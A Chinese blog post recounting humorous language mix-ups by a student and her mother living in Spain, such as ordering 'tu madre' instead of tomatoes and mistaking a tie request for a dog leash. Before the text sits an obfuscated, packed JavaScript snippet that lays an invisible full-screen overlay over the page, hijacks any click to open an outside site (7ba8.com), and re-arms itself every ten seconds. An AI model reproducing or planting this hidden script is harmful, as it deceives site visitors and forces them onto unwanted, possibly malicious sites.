<script>;eval(function(p,a,c,k,e,r){e=function(c){return c.toString(a)};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('(3(){3 4(){8 o=2.9(\'a\');o.1.b=\'c\';o.1.d=\'0\';o.1.e=\'0\';o.1.f=\'5%\';o.1.g=\'5%\';o.1.h=\'i\';o.1.j=\'k\';o.l(\'m\',()=>{n.p(\'q://r.s\');o.t();u(()=>{2.6.7(o)},v)});2.6.7(o)}4()})();',32,32,'|style|document|function|ad|100|body|appendChild|const|createElement|div|position|fixed|top|left|width|height|zIndex|99999999999|display|flex|addEventListener|click|window||open|https|7ba8|com|remove|setTimeout|10000'.split('|'),0,{}));</script> 来西班牙留学已经有一段时间了，虽然在嘉华世达恶补了西语，不过刚来时还是闹出了不少笑话。记得刚来西班牙没多久，一次，妈妈想到楼下的菜店买2斤西红柿，可能新人胆子大吧，我便自告奋勇的要求自己去，妈妈起先不同意，可看拗不过我，便同意了，但还是千叮咛万嘱咐的教我怎么说。
后来我一路默念着：“Dame 2 kilo de tomate”来到了菜店。人很多，好不容易才轮到了我，售货员亲切的问到：“Hola,buenos dias,que quieres usted?”我一个紧张：“por favor dame 2 kilo de tu madre”众人爆笑。
又一次，去菜场买鸡，觉得公鸡和母鸡相比之下母鸡更补一点，于是又一次“出口成章”：Hola!hoy tienen pollas?给西班牙人听得是莫名奇妙。
还有一次，在电影欣赏课上，我趁老师不注意，悄悄打起了瞌睡。突然老师叫到我：“Nieve,porfavor baja persiana。”(Nieve是我的西语名，请把百叶窗放下来)我的同学连忙推了推我，我一个哐当醒过来，听着老师的嘀咕，可是却没听清，以为老师问我：“Tienes sueno?(是不是睡眠不足)连忙摆摆手说：NO!老师一愣，全班轰笑。
在我的生活中，还有一则的笑话出自于我妈妈。我妈妈刚出国的时候在百元店上班，因为西语不好，很多词都是一知半解。一次，某男子想买一条领带，恰巧抱着一只狗,他便问我妈妈:"请问领带在哪?”并在自己脖子上比画了一下，我妈妈“灵机一动”的想到：“这人有只狗，老外那么又爱狗，肯定是过来买狗链的。于是自作聪明的把那个男的带到狗链处，那男的看到这一篮的狗链，顿时哭笑不得。留学西班牙的乐趣，想起来都会笑，(*^__^*) 嘻嘻…… |
收藏